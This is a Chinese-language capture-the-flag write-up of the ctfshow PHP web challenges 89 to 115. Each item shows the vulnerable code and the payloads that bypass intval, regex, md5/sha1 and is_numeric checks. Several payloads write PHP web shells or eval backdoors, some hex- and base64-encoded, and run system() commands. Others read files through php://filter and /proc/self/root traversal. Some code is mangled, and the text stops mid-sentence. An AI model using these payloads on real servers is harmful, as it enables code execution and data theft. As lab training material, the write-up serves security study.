概述
Part1
有关 intval() 函数的绕过技巧
web89
clude("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
能被intval认成数字,又不包括数字0-9
看了下intval函数,发现可以传数组
?num[1]=a&num[2]=b
web90
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
关键是 intval($num,0)===4476 成立
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
但是intval不止支持十进制,所以可以用其他进制绕过
?num=0x117c //16进制
还可以用小数绕过
?num=4476.4
echo intval(4.2); // 4
因为intval是取整函数,所以
echo intval(4476a) // 4476
web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
两个 if 判断差在了 preg_match 的比较模式是不是有 m,所以 m 是什么就一定要搞明白了
称为内联匹配模式,通常用内联匹配模式代替使用枚举值RegexOptions指定的全局匹配模式,写起来更简洁。起来更简洁。
(?i) 表示所在位置右侧的表达式开启忽略大小写模式
(?s) 表示所在位置右侧的表达式开启单行模式。
更改句点字符 (.) 的含义,以使它与每个字符(而不是除 n 之外的所有字符)匹配。
注意:(?s)通常在匹配有换行的文本时使用
(?m) 表示所在位置右侧的表示式开启指定多行模式。
更改 ^ 和 $ 的含义,以使它们分别与任何行的开头和结尾匹配,
而不只是与整个字符串的开头和结尾匹配。
注意:(?m)只有在正则表达式中涉及到多行的“^”和“$”的匹配时,才使用Multiline模式。
上面的匹配模式可以组合使用,比如(?is),(?im)。
另外,还可以用(?i:exp)或者(?i)exp(?-i)来指定匹配的有效范围。
.表示除n之外的任意字符
*表示匹配0-无穷
+表示匹配1-无穷
也就是可以通过换行绕过第二个判断
payload
?cmd=111%0aphp //%0a就是表示换行
web92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
咋一看和web90是一个题但是变成了弱类型比较
之前的 4476a 此处就不适用了,因为
var_dump('4476a'==4476);
// 输出bool(true)
payload
可以用进制和小数绕过
?num=4476.6
?num=010574 //8进制
?num=0x117c //16进制
还可以通过科学计数法e绕过
在url中输入的数据默认就是字符串类型
<?php
var_dump('4476e123'==4476);
var_dump(intval('4476e123'))
?>
// 输出
bool(false)
//作为字符串类型进行弱类型比较现转换成数字4476e123科学计数法形式不等于数字4476
int(4476)
//intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取
/?num=4476e123
web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这很明显过滤了字母,也就是十六进制和科学记数法不能使用了,还有八进制和小数可以用
?num=4476.6
?num=010574 //8进制
web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
多了个strpos函数
strpos — 查找字符串首次出现的位置
也就是说num中必须出现0,且0不能出现在第一位,因为如果出现在第一位则strpos返回0,0取反条件成立执行die
strpos() 函数对大小写敏感
payload
?num=4476.0
可以在八进制前边加空格
?num= 010574
web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
加了过滤小数点,也就是小数格式无法使用
payload
?num= 010574
Part2
web96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
构造相对路径绕过弱类型比较
?u=./flag.php
web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
a不等于b,但是md5值强类型相等
数组类型绕过
post:a[]=1&b[]=2
因为数组经过md5函数返回null,两个null强类型相等
如果是弱类型比较可以找,两个数md5都是0e开头的就行
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
分解
$_GET?$_GET=&$_POST:'flag';
也就是说GET获取的变量都要在POST位置提交
最终目的是
$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__
也就是中间的两个没啥用
直接get任意,再post:HTTP_FLAG=flag
web99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
上边的for就是生成了一个有数字组成的数组,重点在这个in_array函数
in_array函数也是弱类型比较
<?php
$array = array(1, 2, 3, 4);
var_dump(in_array("1a.php",$array));
?>
// bool(true)
payload
get:?n=1a.php
post:content=<?php system('cat flag36d.php');?>
写入1a.php访问,查看源码即可
web100
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/;/", $v2)){
if(preg_match("/;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
$a=true and false and false;
var_dump($a); 返回true
$a=true && false && false;
var_dump($a); 返回false
所以只要保证v1是数字v3有; 即可
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
或者直接拿到ctfshow.php
?v1=1&v2=system('nl ctfshow.php')/*&v3=*/;
也可以用反射的方法
首先来学习一下反射
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');
var_dump($a->getConstants()); //获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}
var_dump($a->getName()); //获取类名
输出
string(1) "A"
var_dump($a->getStaticProperties()); //获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}
var_dump($a->getMethods()); //获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}
payload
直接输出 ctfshow 类即可,也就是构造出
echo new ReflectionClass('ctfshow');
payload:
?v1=1&v2=echo new ReflectionClass&v3=;
web101
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\|/|~|`|!|@|#|\$|%|^|*|)|-|_|+|=|{|[|"|'|,|.|;|?|[0-9]/", $v2)){
if(!preg_match("/\\|/|~|`|!|@|#|\$|%|^|*|(|-|_|+|=|{|[|"|'|,|.|?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
加了好些过滤,但是都没有用
payload和100一样
web102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
题目中的四个函数
1.is_numeric()
判断是否是数字,is_numeric在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x66也是可以识别为数字的
var_dump(is_numeric("0x66"));
// php5的环境下返回true php7返回false
2.substr()
字符串截取函数
substr("Hello world",6);
从length长度开始截取默认是直到字符串的结尾
// 输出 world
3.call_user_func($v1,$s);
把第一个参数作为回调函数调用
也就是说$v1可以是函数名,$s就是函数的值,就可以调用函数
4.file_put_contents($v3,$str)
把str的内容放入v3文件中
我们就可以利用is_numeric的特性传入一个十六进制数,通过substr函数时 0x 会被截去, call_user_func 函数处调用 hex2bin 函数将16进制转换成字符串写入文件中
hex2bin()
转换十六进制字符串为二进制字符串
hex2bin如果参数带0x会报错
将一句话编码成16进制
<?php eval($_GET[1]);?>
0x3c3f706870206576616c28245f4745545b315d293b3f3e
payload
?v2=0x3c3f706870206576616c28245f4745545b315d293b3f3e&v3=1.php
post:v1=hex2bin
但是这个题因为环境没有设置好用的是php7
作者提供了另外一种方法
虽然文件内容不好控制,但是可以利用伪协议将内容进行编码转换。
所以如果能找到一条php语句经过base64编码,在转换为16进制之后全部都是数字不就可以通过了吗?
也就是说$a="xxx"; $b=base64_encode($a); $c=bin2hex($b); 如果$c全部都是纯数字就可以了。
这里直接借用其他师傅的payload
$a='<?=`cat *`;'; $b=base64_encode($a); // PD89YGNhdCAqYDs= $c=bin2hex($b); //这里直接用去掉=的base64 输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。最终payload:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin 访问1.php,查看源码拿到flag
web103
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
类型和上题一样,因为采用了base64编码所以可以绕过
web104
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
弱类型比较可以看这篇文章链接
这个题不用弱类型也可以
也可以用数组绕过
web105
变量覆盖类型
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."n";
die($suces);
?>
题目一共有三个变量 $error $suces $flag
我们只要令其中任意一个的值为flag,都是可以通过die或者直接echo输出的
payload
1.
get:?a=flag
post:error=a
// die($error);输出flag
2.
get:?a=flag
suces=a&flag=
// die($suces);输出flag
3.
get:?suces=flag
post:flag=
// die($suces);输出flag
通过die($error)输出
payload:a=flag post: error=a
进行的操作为$a=$flag; $error=$a;
此时 a = f l a g t e s t 123 ; a=flag{test123}; a=flagtest123;error=flag{test123};从而输出error也就是输出flag
通过die($suces)
payload:suces=flag&flag=
进行的操作为$suces=$flag;
此时 s c u e s = f l a g t e s t 123 ; scues=flag{test123}; scues=flagtest123;_POST[‘flag’]=NULL; f l a g = N U L L , 满 足 ( flag=NULL,满足( flag=NULL,满足(_POST[‘flag’]==$flag)
通过echo $flag
一个矛盾体,没有机会在不改变值的情况下输出,大家可以自行尝试进行验证。
web106
和104一样, 让sha函数加密后的值为0e开头即可
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
payload
get:v2=w9KASOk6Ikap
post:v1=aaO8zKZF
这样的值有的是
aaroZmOk:0e66507019969427134894567494305185566735
aaK1STfY:0e76658526655756207688271159624026011393
aaO8zKZF:0e89257456677279068558073954252716165668
aa3OFF9m:0e36977786278517984959260394024281014729
https://github.com/spaze/hashes/blob/master/sha1.md
web107
变量覆盖类型
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
parse_str(string,array)
函数把查询字符串解析到变量中
string 必需。规定要解析的字符串
array 可选。规定存储变量的数组名称。该参数指示变量存储到数组中
payload
?v3=1
post:v1=flag=c4ca4238a0b923820dcc509a6f75849b
web108
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
函数说明
ereg — 正则表达式匹配
strrev — 反转字符串
变量 c 只有字母时可以通过 ereg,但是 ereg 存在%00截断
PHP版本为5,intval函数可以识别十六进制
payload
?c=a%00778
首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制
web109
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
考察点:php 异常类
先来看下这个正则表达式/[a-zA-Z]+/ 匹配至少有一个字母的字符串
所以我们只要让new后面有个类不报错以后,就可以随意构造了。我们随便找个php中的内置类并且可以直接echo输出的就可以了。
举两个例子Exception
ReflectionClass
payload
?v1=Exception;system('tac f*');&v2=a
v1=ReflectionClass&v2=system('tac f*')
web110
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
在上题的基础上增加了许多过滤
考察点:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件
具体使用方法
所以我们只需要再得到一个点或者路径就可以查看当前目录下的文件,得到一个/查看根目录下的文件。php中的getcwd()可以帮到我们这个忙。getcwd() getcwd — 取得当前工作目录 getcwd(void):string
payload:v1=FilesystemIterator&v2=getcwd
题目的话有个缺陷,如果flag所在的文件不是排在第一位的话,我们可能就没有办法得到flag
web111
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/~| |`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]|<|>/', $v1)){
die("error v1");
}
if(preg_match('/~| |`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]|<|>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
考察GLOBALS全局变量的使用
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
payload
?v1=ctfshow&v2=GLOBALS
在经过
eval("$$v1 = &$$v2;");
$ctfshow=$GLOBALS
var_dump($$v1);=var_dump($GLOBALS);
$GLOBALS赋值给v2,然后v2再赋值给v1,即可将全部变量输出
web112
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/../|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
不能让is_file检测出是文件,并且 highlight_file可以识别为文件, 这时候可以利用php伪协议
?file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
1.file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
2.file=compress.zlib://flag.php
3.file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
web113
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|../|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
在上题的基础上把filter给过滤了
payload
file=compress.zlib://flag.php
payload2
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file的具体原理尚不清楚
web114
if(preg_match('/compress|root|zip|convert|../|http|https|data|data|rot13|base64|string/i',$file))
和上两题一样,filter没有被过滤
payload
?file=php://filter/resource=flag.php
web115
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
主要是trim函数和is_numeric函数的绕过
trim(string,charlist)
参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
"